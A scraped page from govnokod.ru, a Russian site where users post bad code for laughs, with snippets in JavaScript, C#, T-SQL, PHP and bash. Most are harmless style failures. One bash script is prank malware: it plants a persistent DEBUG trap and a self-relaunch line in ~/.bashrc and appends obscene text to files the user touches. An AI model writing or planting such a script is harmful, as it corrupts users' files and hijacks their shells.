- 1
- 2
- 3
- 4
- 5
- 6
if ( cards.length > ( Settings.WIDTH / Settings.CARD_SMALL_WIDTH + 1 ) ) {
_cards = cards.slice( 0, Settings.WIDTH/Settings.CARD_SMALL_WIDTH + 2 );
}
else {
_cards = cards;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−114
if ( cards.length > ( Settings.WIDTH / Settings.CARD_SMALL_WIDTH + 1 ) ) {
_cards = cards.slice( 0, Settings.WIDTH/Settings.CARD_SMALL_WIDTH + 2 );
}
else {
_cards = cards;
}
Код окна, которое выводит список элементов. Если элементы не помещаются в строку, то они тупо удаляются.
+162
for (i = 0;i<n;i++)
{
for (j = 0;j<m;j++)
{
if (j=m)
{
j = 0;
break;
}
}
}
Мастер! Без комментариев.
P.S. Как это ни странно, автор предпочел остаться неизвестным :)
+136
particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.emit = Mathf.Sin(Random.value*Mathf.PI*2) <= 1;
Строчка из кода в Unity3D.
−137
#!/bin/bash
echo Fuck >> $1
x=`tail -n1 ~/.bashrc`
if [ "$x" = "$0 &" ]
then
echo exit
else
echo "trap 'echo \"Fuck $USER\">>`cat ~/.bash_history | tail -n1 | gawk '{ print $1 }'`' DEBUG;" >> ~/.bashrc;
echo "$0 `cat ~/.bash_history|tail -n1 | gawk '{ print $1 }'` &" >> ~/.bashrc
fi
trap "cdm=`cat ~/.bash_history| tail -n1 | gawk '{ print $1 }'`" DEBUG
echo cdm $cdm
while :
do
echo -n
done
Прога должна присоединять к файлам в истории свой текст.
−862
-- Verify frequency sub-day type
IF (@freq_subday_type <> 0) AND (@freq_subday_type NOT IN (0x1, 0x2, 0x4, 0x8))
BEGIN
RAISERROR(14266, -1, -1, '@freq_subday_type', '0x1, 0x2, 0x4, 0x8')
RETURN(1) -- Failure
END
....
IF (@freq_subday_type = 0)
SELECT @freq_subday_type = 0x1 -- FREQSUBTYPE_ONCE
IF ((@freq_subday_type <> 0x1) AND -- FREQSUBTYPE_ONCE (see qsched.h)
(@freq_subday_type <> 0x2) AND -- FREQSUBTYPE_SECOND (see qsched.h)
(@freq_subday_type <> 0x4) AND -- FREQSUBTYPE_MINUTE (see qsched.h)
(@freq_subday_type <> 0x8)) -- FREQSUBTYPE_HOUR (see qsched.h)
BEGIN
SELECT @reason = FORMATMESSAGE(14266, '@freq_subday_type', '0x1, 0x2, 0x4, 0x8')
RAISERROR(14278, -1, -1, @reason)
RETURN(1) -- Failure
END
Системная хранимая процедура Microsoft SQL Server 2005
msdb.[dbo].[sp_verify_schedule]
+172
//Взятые из разных файлов варианты обращений к файлу конфигураций характеризуют о гибкости подхода к разработке приложения
require_once '../../../config.php';
require_once("../config.php");
require_once("../../../../config.php");
require_once(dirname(dirname(__FILE__)) . '/config.php');
require('../config.php');
require_once(dirname(__FILE__) . '/../../config.php');
require_once(dirname(dirname(dirname(dirname(__FILE__)))) . '/config.php'); //included from messagelib (how to fix?)
Предлагаю обратить внимание на http://moodle.org/ -- это Система Управления Обучением.
Продукт поражает своей архитектурой. Предлагаю взглянуть одним глазком.
+152
if ($UsingComponents){
// если используем компоненты 2.0 - очищаем буфер
ob_end_clean();
$APPLICATION->AddBufferContent('empty');
...
} else {
// иначе выводим всё, что у нас накопилось
ob_end_flush();
$APPLICATION->AddBufferContent('empty');
...
}
Не совсем говнокод, но комментарий на строке 8, имхо, забавный...
+134
string relativedir = Directory.GetParent(Directory.GetParent(Directory.GetParent(Directory.GetCurrentDirectory()).ToString()).ToString()).ToString()+@"\Webapplication2\App_Data\";
ссылка на базу данных в другой папке
+155
private $data = array(
'name' => '',
'organization' => '',
'mail' => '',
'phone' => '',
'comment' => '',
'model' => '',
);
Так адекватные люди создают асоциативные массивы? Или по другому?
+149
$txt['aeva_gallery'] = isset($txt['aeva_gallery']) ? $txt['aeva_gallery'] : 'Media';
Кусочек языкового файла модуля медиагалереи